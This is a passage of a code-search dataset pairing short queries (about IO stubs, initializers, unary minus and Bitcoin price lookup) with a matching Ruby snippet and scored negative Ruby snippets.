"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
needed for pseudoIO functionality
|
def print(*args); msg channel, args.join(" "); end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def io; end",
"def io; end",
"def io; end",
"def io; end",
"def by_magic(io); end",
"def read; end",
"def read; end",
"def read; end",
"def read; end",
"def read; end",
"def read; end",
"def read; end",
"def read() end",
"def all_by_magic(io); end",
"def io_lock; end",
"def output=(io); end",
"def read\n \n end",
"def pos; @_io.pos; end",
"def perform_io; end",
"def input_stream; end",
"def initialize_buffered_io; end",
"def read\n end",
"def read\n end",
"def read\n end",
"def read\n end",
"def read\nend",
"def to_io() end",
"def io=(_arg0); end",
"def io=(_arg0); end",
"def send_io(p0) end",
"def private; end",
"def auto_io(name, read_size, input_io); end",
"def read_buffer; end",
"def close_read() end",
"def close_read() end",
"def close_read() end",
"def handle; end",
"def buffer; end",
"def buffer; end",
"def buffer; end",
"def rio; @io[@rio] end",
"def to_io; end",
"def stream; end",
"def stream; end",
"def stream; end",
"def stream; end",
"def ioerr; end",
"def write; end",
"def write; end",
"def capture_io; end",
"def body_io; end",
"def body_io; end",
"def reader; end",
"def wio; @io.last end",
"def read_packet; end",
"def close_read(*) end",
"def io_out\n raise NotImplementedError, 'Not implemented'\n end",
"def write?; end",
"def write?; end",
"def write?; end",
"def read( ioin=$ioin )\n super\n self\n end",
"def read( ioin=$ioin )\n super\n self\n end",
"def read( ioin=$ioin )\n super\n self\n end",
"def read( ioin=$ioin )\n super\n self\n end",
"def read( ioin=$ioin )\n super\n self\n end",
"def next() end",
"def next() end",
"def read\n end",
"def io\n @io\n end",
"def out; end",
"def save chunk_nr, io\n\t\t\t# retrieve data from io and compare sig \n\t\tend",
"def tell() end",
"def tell() end",
"def tell() end",
"def tell() end",
"def sysseek\n end",
"def fileno; raise NotImplementedError; end",
"def tell()\n #This is a stub, used for indexing\n end",
"def pending_write?; end",
"def executor; end",
"def executor; end",
"def executor; end",
"def read(pos)\n end",
"def next()\n \n end",
"def next()\n \n end",
"def to_io\n end",
"def eos?; end",
"def transmission; end",
"def output_buffer; end",
"def output_buffer; end",
"def read_io io\n handle_client io\n end",
"def seek\n end",
"def seek\n end",
"def close_write() end",
"def close_write() end",
"def close_write() end",
"def processor; end",
"def stream=(_arg0); end",
"def stream=(_arg0); end",
"def write(p0) end",
"def write(p0) end"
] |
[
"0.694438",
"0.694438",
"0.694438",
"0.694438",
"0.6928438",
"0.66444653",
"0.66444653",
"0.66444653",
"0.66444653",
"0.66444653",
"0.66444653",
"0.66444653",
"0.65722716",
"0.65182114",
"0.6416524",
"0.62973624",
"0.6253669",
"0.6250688",
"0.6235205",
"0.6225663",
"0.6214579",
"0.6201002",
"0.6201002",
"0.6201002",
"0.6201002",
"0.613518",
"0.6130827",
"0.6111752",
"0.6111752",
"0.6090153",
"0.6047033",
"0.6021393",
"0.6014949",
"0.60011846",
"0.60011846",
"0.60011846",
"0.59965366",
"0.5977171",
"0.5977171",
"0.5977171",
"0.5971045",
"0.5963745",
"0.59410924",
"0.59410924",
"0.59410924",
"0.59410924",
"0.5920365",
"0.5854194",
"0.5854194",
"0.5833116",
"0.5787138",
"0.5787138",
"0.5785116",
"0.5772746",
"0.56885386",
"0.56863296",
"0.5684156",
"0.5654616",
"0.5654616",
"0.5654616",
"0.5620288",
"0.5620288",
"0.5620288",
"0.5620288",
"0.5620288",
"0.55774486",
"0.55774486",
"0.5575422",
"0.5572868",
"0.55723375",
"0.55623573",
"0.5548097",
"0.5548097",
"0.5548097",
"0.5548097",
"0.5537446",
"0.5528225",
"0.5525576",
"0.55166507",
"0.5512367",
"0.5512367",
"0.5512367",
"0.55064315",
"0.54550976",
"0.54550976",
"0.54547477",
"0.54411817",
"0.54382235",
"0.54235417",
"0.54235417",
"0.5403334",
"0.53975105",
"0.53975105",
"0.53899413",
"0.53899413",
"0.53899413",
"0.53898966",
"0.5381676",
"0.5381676",
"0.5379567",
"0.537807"
] |
0.0
|
-1
|
'initialize' is in base
|
def handle(command)
super do
check_schedule_validity(command)
show_short_schedule(@schedule.id)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize() end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def initialize\nend",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize\n\n\n\n end",
"def init; end",
"def pre_initialize; end",
"def initialize()\n\tend",
"def initialize()\n\tend",
"def initialize\n\t\t\n\tend",
"def initialize(...)\n super\n mon_initialize\n end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize\n\tinit\n\tsuper\nend",
"def post_initialize\n # Base class does nothing\n end",
"def init\n end",
"def init\n end",
"def init\n end",
"def initialize\n\nend",
"def initialize()\r\n\r\n end",
"def initialize\n\t\nend",
"def init\n\n end",
"def initialize\n\n\tend",
"def initialize\n\n\tend",
"def initialize\n # some code\n \n super\nend",
"def initialize()\n\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def init\n\nend",
"def post_initialize\n # raise NotImplementedError\n end",
"def initialize()\n\t\tend",
"def initialize(base)\n @base = base\n end",
"def initialize\n\n\nend",
"def initialize\n # complete\n end",
"def initialize\n \n end",
"def initialize\n \n end",
"def initialize\r\n\r\n end",
"def initialize\n initialize!\n end",
"def initialize\n initialize!\n end",
"def initialize\n \n end",
"def initialize\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize_target\n end",
"def initialize()\n end",
"def initialize\n # nothing here for now\n end",
"def post_initialize( *args, & block )\n # call to super in case we extend Class or Module, so we can stack calls to post_initialize\n super if defined?( super )\n # nothing here - subclasses define\n end",
"def before_initialize(&block); end",
"def initialized?; end",
"def initialized?; end",
"def initialized?; end",
"def initialized?; end",
"def pre_initialize( *args, & block )\n # call to super in case we extend Class or Module, so we can stack calls to pre_initialize\n super if defined?( super )\n # nothing here - subclasses define\n end",
"def initialize\n \n end",
"def initialize\n\n end",
"def initialize\n\n end",
"def init\n raise NotImplementedError\n end",
"def a_init\nend",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize()\n # override parent\n end",
"def pre_initialize\n end",
"def post_initialize\n end",
"def initialize(object)\n raise NotImplementedError, \"#{self} should have implemented #initialize\"\n end",
"def after_initialize; end",
"def after_initialize; end",
"def after_initialize; end",
"def after_initialize; end",
"def user_init; end",
"def initialize(state); end",
"def initialize\n super \n end",
"def initialize(*) \n end"
] |
[
"0.79208535",
"0.77879363",
"0.77879363",
"0.77879363",
"0.77879363",
"0.7662159",
"0.7626896",
"0.7626896",
"0.7626896",
"0.7626896",
"0.7626896",
"0.7626896",
"0.7626896",
"0.7626896",
"0.7626896",
"0.7626896",
"0.7626896",
"0.75987947",
"0.758498",
"0.7558257",
"0.7490796",
"0.7490796",
"0.74718094",
"0.7442279",
"0.7431543",
"0.7431543",
"0.7431543",
"0.7431543",
"0.7431543",
"0.74213177",
"0.74203235",
"0.7406653",
"0.7406653",
"0.7406653",
"0.7396356",
"0.738696",
"0.73855203",
"0.7381485",
"0.7369957",
"0.7369957",
"0.7350204",
"0.7330902",
"0.73269266",
"0.73269266",
"0.73269266",
"0.73269266",
"0.73269266",
"0.73269266",
"0.73269266",
"0.73269266",
"0.7296772",
"0.7268454",
"0.7268354",
"0.72658616",
"0.7264181",
"0.7257599",
"0.7208731",
"0.7208731",
"0.7179882",
"0.7177686",
"0.7177686",
"0.7177128",
"0.717435",
"0.71456087",
"0.71456087",
"0.7134492",
"0.7110737",
"0.7109973",
"0.7105529",
"0.7102782",
"0.7101782",
"0.7101782",
"0.7101782",
"0.7101782",
"0.7061929",
"0.7048525",
"0.70295286",
"0.70295286",
"0.7000153",
"0.6988277",
"0.6972113",
"0.6972113",
"0.6972113",
"0.6972113",
"0.6972113",
"0.6972113",
"0.6972113",
"0.6972113",
"0.6972113",
"0.69624895",
"0.69595677",
"0.69525117",
"0.69486934",
"0.6947852",
"0.6947852",
"0.6947852",
"0.6947852",
"0.6935347",
"0.6906799",
"0.68983996",
"0.68825865"
] |
0.0
|
-1
|
Return a string representing the unary minus function
|
def inspect
"-(#{operand.inspect})"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def unary_minus\n UnaryMinus.new(self)\n end",
"def subtract\n match '-'\n term\n emit_ln 'SUB (SP)+, D0'\n emit_ln 'NEG D0'\nend",
"def operator\n '-'\n end",
"def unary\n if match?(:bang, :minus)\n operator = previous\n right = unary\n return Ringo::Unary.new(operator, right)\n end\n\n return call\n end",
"def visit_UnaryMinus(o)\n { \"unary-minus\" =>\n { \"node-type\" => \"unary-minus\",\n \"contents\" => o.children.accept(self) } }\n end",
"def opposite(x)\n puts -(x)\nend",
"def make_numbers_negative(number)\n number *= -1 if \"++-\"[number <=> 0] == \"+\"\n number\n\n # -number.abs\nend",
"def to_s\n \"-#{@x}\"\n end",
"def subtract\n match \"-\"\n comment \"-\"\n term\n emitln \"subl -(0x8*#{$stackdepth})(%rsp), %eax\"\n emitln \"neg %eax\"\nend",
"def - other\n self.to_s - other.to_s\n end",
"def to_code\n \"(-#{@x.to_code})\"\n end",
"def negative(num)\n - num.abs\nend",
"def negative(number)\n -(number.abs)\nend",
"def arithmeticUnary(op)\n str = getTopOfStack + \"M=\"+op+\"M\"+\"\\n\"\n return str+\"\\n\"\nend",
"def inspect\n \"ABS(#{operand.inspect})\"\n end",
"def unary\r\n if consume(\"+\")\r\n unary()\r\n elsif consume(\"-\")\r\n new_binary(ND_SUB, new_num(0), unary())\r\n else\r\n primary()\r\n end\r\nend",
"def makeNegative(num)\n if(num.to_s.start_with?(\"-\"))\n return num\n else\n return -num\nend\nend",
"def negative(number)\n -number.abs\nend",
"def negative(number)\n -number.abs\nend",
"def negative(number)\n -number.abs\nend",
"def negative(number)\n -number.abs\nend",
"def - other\n sub other, ''\n end",
"def negative(num)\n if num > 0\n p (-num)\n else\n p num\n end\nend",
"def negative(input)\n input.abs * -1\nend",
"def minus!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 50 )\n\n type = MINUS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 171:9: '-'\n match( 0x2d )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 50 )\n\n end",
"def minus!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 49 )\n\n type = MINUS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 375:9: '-'\n match( 0x2d )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 49 )\n\n end",
"def nuw_neg(arg, name = \"\")\n Instruction.from_ptr(C.build_nuw_neg(self, arg, name))\n end",
"def negative\n abs.flip_sign\n end",
"def negative(input, name: nil)\n negate(input, name: name)\n end",
"def negative(input, name: nil)\n negate(input, name: name)\n end",
"def subtract(a, b)\n puts \"SUBTRACTING #{a} - #{b}\"\n a - b # This is the output as the final expression of the function\nend",
"def -(money_live_convertor) \n arithmetic_op('-',self,money_live_convertor)\n end",
"def get_sign(coefficient)\r\n if coefficient < 0\r\n '-'\r\n else \r\n '+' \r\n end\r\n end",
"def negative(num)\r\n num > 0 ? -num : num \r\nend",
"def opposite(x)\n x * -1\nend",
"def negative(num)\n num > 0 ? -num : num\nend",
"def negative(num)\n num > 0 ? -num : num\nend",
"def negative(num)\n num > 0 ? -num : num\nend",
"def negative(num)\n num > 0 ? -num : num\nend",
"def negative(number)\n number > 0 ? -number : number\nend",
"def negative(number)\n number > 0 ? -number : number\nend",
"def negative(num)\n # your code goes here\n puts -(num).abs\n# -1 becomes 1 then multiplied by negative sign equals negative number\n# -1 * (-) = 1; 1 * (-) = -1 \nend",
"def neg(arg, name = \"\")\n Instruction.from_ptr(C.build_neg(self, arg, name))\n end",
"def operator_to_string\n {\n \"+\" => 'plus', \n \"-\" => 'minus'\n }\n end",
"def negative2(number)\n -number.abs\nend",
"def opposite num\n -num\n end",
"def opposite(number)\n number*-1\nend",
"def -@\n self.map{|x| -x}\n end",
"def -(num)\n self + (-num)\n end",
"def negative(num)\n num < 0 ? num : -num\nend",
"def meta_send_op_minus\n <<-CODE\n t1 = stack_pop();\n t2 = stack_back(0);\n if(FIXNUM_P(t1) && FIXNUM_P(t2)) {\n stack_set_top(fixnum_sub(state, t1, t2));\n } else {\n _lit = global->sym_minus;\n t2 = Qnil;\n j = 1;\n goto perform_no_ss_send;\n }\n CODE\n end",
"def normal_minus\n api_get(API_MAP[:normal_minus]).to_f\n end",
"def negation\n \"not\" if negate?\n end",
"def -(subtrahend)\n self.minus(subtrahend).to_sub\n end",
"def negative(number)\n number > 0 ? (number * -1) : number\nend",
"def negative(num)\n num > 0 ? -num : num # or -num.abs\nend",
"def nsw_neg(arg, name = \"\")\n Instruction.from_ptr(C.build_nsw_neg(self, arg, name))\n end",
"def make_negative(n)\n -(n.abs)\nend",
"def makeNegative(num)\r\n if num >= 0\r\n return num * (-1)\r\n else\r\n return num * 1\r\n end\r\n end",
"def negative(num)\n num <= 0 ? num : -num\nend",
"def negative(num)\n num <= 0 ? num : -num\nend",
"def -(n) self + -n end",
"def -(n) self + -n end",
"def negative(num)\n if num.positive?\n -num\n else\n num\n end\nend",
"def -(expr2)\n Operator.new(S_MINUS, self, expr2)\n end",
"def negative(num)\n num.positive? ? -num : num\nend",
"def make_numbers_negative(number)\n -number.abs\nend",
"def opposite(number)\r\n return number * (-1)\r\nend",
"def subtract(num_one, num_two)\n puts \"#{num_one} - #{num_two} = #{num_one + num_two}\\n\"\nend",
"def get_negate(n, algebraic_structure)\n negates_commaed = TYPE_SYMBOLS.first(n).each_with_index.map{ |t, i| \"#{t.downcase}#{algebraic_structure}.negate(tuple._#{i+1})\" }.join(\", \")\n \"override def negate(v: X) = { val tuple = unapply(v).get; apply(#{negates_commaed}) }\"\nend",
"def negative(num)\n num < 0 ? num : -1 * num\nend",
"def make_negative(num)\r\n num > 0 ? -num : num\r\nend",
"def -(numeric)\n map { |v| v.respond_to?(:-) ? v - numeric : v }\n end",
"def calc_subtract(num1, num2)\n puts \"#{num1} - #{num2} = #{num1 - num2}\"\nend",
"def factor\n if next_token.is_identifier?(\"-\")\n NegativeExpr.create(primary)\n else\n primary\n end\n end",
"def makeNegative(num)\n num < 0 ? num : -num\nend",
"def to_s\n \"(#{@x})^(#{@y})\"\n end",
"def -(p0) end",
"def -(p0) end",
"def -(p0) end",
"def to_code\n \"(#{@x.to_code}).abs\"\n end",
"def sign(num, opt={space: false})\n return \"\" unless num\n sgn = num == 0 ? (opt[:space] ? \"+\" : \"\") : (num > 0 ? \"+\" : \"−\")\n spc = opt[:space] ? \" \" : \"\"\n num = num.abs.round\n \"#{sgn}#{spc}#{num}\"\n end",
"def subtract(first_arg, second_arg)\n first_arg - second_arg\nend",
"def negative(number)\n number <= 0 ? number : number * -1\nend",
"def makeNegative(num)\n num > 0 ? num * -1 : num\nend",
"def to_s\n \"√(#{@x})\"\n end",
"def interpret_unary_operator(unary_op)\n case unary_op.operator\n when :'-'\n -(interpret_node(unary_op.operand))\n else # :'!'\n !(interpret_node(unary_op.operand))\n end\n end",
"def -(b)\n b = b.symdescfy\n case b\n when Infinity\n -b\n when Number\n __sub_number b\n when BinaryOp\n __sub_binary_op b\n when Neg\n self + b.argument\n else\n super\n end\n end",
"def make_numbers_negative(number)\n number.positive? ? -(number) : number\nend",
"def -(other)\n end",
"def -(rvalue)\n values = coerce(rvalue)\n return ( values[1] - values[0])\n end",
"def negative(num)\n return num if num.negative?\n -num\nend",
"def minus_asgn!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 53 )\n\n type = MINUS_ASGN\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 174:14: '-='\n match( \"-=\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 53 )\n\n end",
"def -(b)\n return self if b == 0\n b = b.symdescfy\n case b\n when Neg\n self + b.argument\n when Sum\n self - b.left - b.right\n when Sub\n self - b.left + b.right\n else\n __sub_else(b) || super\n end\n end",
"def subtract (num1, num2)\n num1 - num2\nend",
"def subtract(a, b)\n puts \"SUBTRACTING #{a} - #{b}\"\n a - b\nend",
"def print_neg_nums\n # write your code here\nend",
"def -(n)\n self.+(-n)\n end",
"def - b\n 2.plus self.plus(b)\n end",
"def opposite(number)\n return 0 - number\nend"
] |
[
"0.7579631",
"0.7227036",
"0.6905304",
"0.68995774",
"0.66972303",
"0.6682178",
"0.6647178",
"0.6603301",
"0.6546344",
"0.6545465",
"0.6535508",
"0.6501532",
"0.64748496",
"0.64642286",
"0.6456332",
"0.64414006",
"0.6413191",
"0.6401789",
"0.6401789",
"0.6401789",
"0.6401789",
"0.63464165",
"0.63339776",
"0.631839",
"0.63083124",
"0.63026756",
"0.6266186",
"0.6257082",
"0.6240225",
"0.6240225",
"0.6239432",
"0.6223535",
"0.62232137",
"0.6221383",
"0.61977303",
"0.6176158",
"0.6176158",
"0.6176158",
"0.6176158",
"0.61694",
"0.61694",
"0.6153786",
"0.6148898",
"0.61454153",
"0.6139823",
"0.6128681",
"0.61045665",
"0.6098659",
"0.60842425",
"0.60818905",
"0.60742927",
"0.60668236",
"0.60647184",
"0.60628724",
"0.6059704",
"0.60531855",
"0.6028569",
"0.60213536",
"0.60093665",
"0.6007809",
"0.6007809",
"0.60047984",
"0.60047984",
"0.6003263",
"0.5994958",
"0.59930694",
"0.59787875",
"0.5970428",
"0.5969442",
"0.5967306",
"0.59516543",
"0.59432626",
"0.5934646",
"0.5926565",
"0.592493",
"0.592161",
"0.59208405",
"0.5918644",
"0.5918644",
"0.5918644",
"0.5912347",
"0.5884651",
"0.588131",
"0.5877094",
"0.5873454",
"0.58661914",
"0.586219",
"0.5860156",
"0.58502734",
"0.58417165",
"0.5829652",
"0.5828872",
"0.582448",
"0.58185047",
"0.5812963",
"0.5809113",
"0.5796694",
"0.5792626",
"0.57925177",
"0.57918644"
] |
0.7053564
|
2
|
Return a unary minus function
|
def unary_minus
UnaryMinus.new(self)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def unary\n if match?(:bang, :minus)\n operator = previous\n right = unary\n return Ringo::Unary.new(operator, right)\n end\n\n return call\n end",
"def negative(num)\n - num.abs\nend",
"def unary\r\n if consume(\"+\")\r\n unary()\r\n elsif consume(\"-\")\r\n new_binary(ND_SUB, new_num(0), unary())\r\n else\r\n primary()\r\n end\r\nend",
"def negative(number)\n -(number.abs)\nend",
"def subtract\n match '-'\n term\n emit_ln 'SUB (SP)+, D0'\n emit_ln 'NEG D0'\nend",
"def negative(number)\n -number.abs\nend",
"def negative(number)\n -number.abs\nend",
"def negative(number)\n -number.abs\nend",
"def negative(number)\n -number.abs\nend",
"def opposite(x)\n x * -1\nend",
"def negative(input)\n input.abs * -1\nend",
"def negative2(number)\n -number.abs\nend",
"def visit_UnaryMinus(o)\n { \"unary-minus\" =>\n { \"node-type\" => \"unary-minus\",\n \"contents\" => o.children.accept(self) } }\n end",
"def negative(num)\n num > 0 ? -num : num\nend",
"def negative(num)\n num > 0 ? -num : num\nend",
"def negative(num)\n num > 0 ? -num : num\nend",
"def negative(num)\n num > 0 ? -num : num\nend",
"def negative(num)\n return num if num.negative?\n -num\nend",
"def negative(num)\r\n num > 0 ? -num : num \r\nend",
"def negative(num)\n num < 0 ? num : -num\nend",
"def make_negative(n)\n -(n.abs)\nend",
"def negative(num)\n num > 0 ? -num : num # or -num.abs\nend",
"def opposite num\n -num\n end",
"def opposite(number)\n number*-1\nend",
"def make_numbers_negative(number)\n number *= -1 if \"++-\"[number <=> 0] == \"+\"\n number\n\n # -number.abs\nend",
"def negative(num)\n num < 0 ? num : -1 * num\nend",
"def -(rvalue)\n values = coerce(rvalue)\n return ( values[1] - values[0])\n end",
"def -@\n self.map{|x| -x}\n end",
"def negative(num)\n num <= 0 ? num : -num\nend",
"def negative(num)\n num <= 0 ? num : -num\nend",
"def negative(number)\n number > 0 ? (number * -1) : number\nend",
"def opposite(number)\r\n return number * (-1)\r\nend",
"def negative(num)\n num.positive? ? -num : num\nend",
"def subtract\n match \"-\"\n comment \"-\"\n term\n emitln \"subl -(0x8*#{$stackdepth})(%rsp), %eax\"\n emitln \"neg %eax\"\nend",
"def negative(number)\n number > 0 ? -number : number\nend",
"def negative(number)\n number > 0 ? -number : number\nend",
"def negative(num)\n if num.positive?\n -num\n else\n num\n end\nend",
"def negative(num)\n num *= -1 if num > 0\n num\nend",
"def make_numbers_negative(number)\n -number.abs\nend",
"def -(n) self + -n end",
"def -(n) self + -n end",
"def -(money_live_convertor) \n arithmetic_op('-',self,money_live_convertor)\n end",
"def subtract(first_arg, second_arg)\n first_arg - second_arg\nend",
"def negative(num)\n return -num if num > 0\n num\nend",
"def makeNegative(num)\n num < 0 ? num : -num\nend",
"def makeNegative(num)\n num > 0 ? num * -1 : num\nend",
"def -(b)\n b = b.symdescfy\n case b\n when Infinity\n -b\n when Number\n __sub_number b\n when BinaryOp\n __sub_binary_op b\n when Neg\n self + b.argument\n else\n super\n end\n end",
"def opposite(x)\n puts -(x)\nend",
"def negative(number)\n number <= 0 ? number : number * -1\nend",
"def operator\n '-'\n end",
"def make_negative(num)\r\n num > 0 ? -num : num\r\nend",
"def negative(input, name: nil)\n negate(input, name: name)\n end",
"def negative(input, name: nil)\n negate(input, name: name)\n end",
"def - b\n 2.plus self.plus(b)\n end",
"def makeNegative(num)\r\n if num >= 0\r\n return num * (-1)\r\n else\r\n return num * 1\r\n end\r\n end",
"def subtract (a,b)\n return a-b\nend",
"def nuw_neg(arg, name = \"\")\n Instruction.from_ptr(C.build_nuw_neg(self, arg, name))\n end",
"def -(num)\n self + (-num)\n end",
"def -(n)\n self.+(-n)\n end",
"def negative\n abs.flip_sign\n end",
"def negative(number)\n return number if number.negative? || number.zero?\n -number\nend",
"def subtract\n C.curry.(->(x, y) { x - y })\n end",
"def negative(num)\n\n if num <=0\n num\n else \n num * -1\n end\nend",
"def make_numbers_negative(number)\n number.positive? ? -(number) : number\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract (num1, num2)\n num1 - num2\nend",
"def -(numeric)\n map { |v| v.respond_to?(:-) ? v - numeric : v }\n end",
"def neg(arg, name = \"\")\n Instruction.from_ptr(C.build_neg(self, arg, name))\n end",
"def minus!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 50 )\n\n type = MINUS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 171:9: '-'\n match( 0x2d )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 50 )\n\n end",
"def makeNegative(num)\n if(num.to_s.start_with?(\"-\"))\n return num\n else\n return -num\nend\nend",
"def minus!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 49 )\n\n type = MINUS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 375:9: '-'\n match( 0x2d )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 49 )\n\n end",
"def negative(number)\n if number > 0\n -number\n else\n return number\n end\nend",
"def opposite(number)\n return 0 - number\nend",
"def negative(num)\n\treturn -num unless num <= 0\n\tnum\nend",
"def negate!\n negate self\n end",
"def -(b)\n return self if b == 0\n b = b.symdescfy\n case b\n when Neg\n self + b.argument\n when Sum\n self - b.left - b.right\n when Sub\n self - b.left + b.right\n else\n __sub_else(b) || super\n end\n end",
"def subtract(num1, num2)\n num1 - num2\nend",
"def subtract(num1, num2)\n num1 - num2\nend",
"def negative(integer)\n integer > 0 ? -integer : integer\nend",
"def -(subtrahend)\n self.minus(subtrahend).to_sub\n end",
"def negative(num)\r\n # your code goes here\r\n # abosulte value of any number is +ve\r\n\r\n num.abs*-1\r\nend",
"def negative(num)\n # your code goes here\n puts -(num).abs\n# -1 becomes 1 then multiplied by negative sign equals negative number\n# -1 * (-) = 1; 1 * (-) = -1 \nend",
"def subtract(num1, num2)\n return num1 - num2\nend",
"def negative(int)\n int <= 0 ? int : -int\nend",
"def subtract(a, b)\n\treturn a - b\nend",
"def subtract(num, num2)\n return num - num2\nend",
"def -(other)\n end",
"def subtract(x,y)\r\n x - y \r\nend",
"def -(temp)\n self.class.new(in_native - numericalize(temp))\n end",
"def negative(n)\n return n if n <= 0\n -n\nend",
"def -(other)\n return self + (-other)\n end",
"def neg(num)\n val = Convert(num, :numeric)\n sub(Convert(0, val.type), val)\n end",
"def nsw_neg(arg, name = \"\")\n Instruction.from_ptr(C.build_nsw_neg(self, arg, name))\n end",
"def negative(num)\n if num <= 0 \n return num\n else\n return num - (num * 2)\n end\nend",
"def negative(num)\n return num<0\nend",
"def minus(signal)\n self.class.new(self, signal) { |a, b| a - b }\n end",
"def -(expr2)\n Operator.new(S_MINUS, self, expr2)\n end"
] |
[
"0.77617466",
"0.7279514",
"0.72100866",
"0.7196679",
"0.71557677",
"0.7085589",
"0.7085589",
"0.7085589",
"0.7085589",
"0.7055862",
"0.7007924",
"0.69345987",
"0.6868508",
"0.6864128",
"0.6864128",
"0.6864128",
"0.6864128",
"0.68543804",
"0.6849356",
"0.6844577",
"0.68321157",
"0.68317634",
"0.6827141",
"0.68196946",
"0.6793051",
"0.67916805",
"0.67859817",
"0.67726344",
"0.67710286",
"0.67710286",
"0.6761769",
"0.6759078",
"0.67570114",
"0.6754654",
"0.6735057",
"0.6735057",
"0.6699121",
"0.66875476",
"0.6670971",
"0.6666248",
"0.6666248",
"0.6666034",
"0.6662012",
"0.6655509",
"0.66512567",
"0.6647624",
"0.66428137",
"0.6638766",
"0.6637838",
"0.6636853",
"0.6635654",
"0.6632473",
"0.6632473",
"0.6618417",
"0.66113603",
"0.6610939",
"0.65963006",
"0.658358",
"0.65696096",
"0.6569582",
"0.65552807",
"0.65493965",
"0.6547635",
"0.6544044",
"0.6540659",
"0.6540659",
"0.6540659",
"0.6540659",
"0.6535127",
"0.6532196",
"0.6526739",
"0.65125567",
"0.65073186",
"0.6499844",
"0.6498833",
"0.6498714",
"0.64894944",
"0.6480831",
"0.6478776",
"0.6455967",
"0.6455967",
"0.64511085",
"0.64475155",
"0.64421874",
"0.64184475",
"0.6404797",
"0.63933456",
"0.63931185",
"0.6377809",
"0.6376944",
"0.63721627",
"0.63701725",
"0.63534606",
"0.6343384",
"0.6335964",
"0.6334482",
"0.63232476",
"0.62883574",
"0.62880594",
"0.628751"
] |
0.8064377
|
0
|
Current price of BTC in USD (float returned).
|
def price(currency = 'USD')
best_of('price') do |api|
api.price(currency)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def total_value_usd\n @quantity * price_in_usd\n end",
"def price\n (price_in_cents / 100.0) unless price_in_cents.nil?\n end",
"def price\n price = read_attribute(:price)\n if User.current and User.current.currency\n price.to_d * User.current.currency.exchange_rate.to_d\n else\n price.to_d\n end\n end",
"def price\n MoneyUtils.format(self.price_basis)\n end",
"def price\n BigDecimal('3.0')\n end",
"def price\n b = read_attribute(:price)\n b.to_d * User.current.currency.exchange_rate.to_d\n end",
"def price\n ConversionTool.convert_to_currency(self.unit_price)\n end",
"def price\n b = read_attribute(:price)\n user = User.current.blank? ? User.where(id: 0).first : User.current\n b.to_d * user.currency.exchange_rate.to_d\n end",
"def price\n BigDecimal('5.0')\n end",
"def get_price_of_bitcoin\n data = get_data_from_website(BLOCKCHAIN_WEBSITE)\n price = get_price_in_usd(data)\n # This converts the string to a floating point number\n # Another conversion instruction is to_i (integer)\n price.to_f\nend",
"def price_in_usd\n case @currency\n when :inr\n @price_per_share.to_i * 50\n when :gbp\n @price_per_share.to_i * 2\n else\n @price_per_share.to_i\n end\n end",
"def price(currency)\n h = Sibit::Json.new(http: @http, log: @log).get(\n URI('https://blockchain.info/ticker')\n )[currency]\n raise Error, \"Unrecognized currency #{currency}\" if h.nil?\n price = h['15m']\n @log.info(\"The price of BTC is #{price} USD\")\n price\n end",
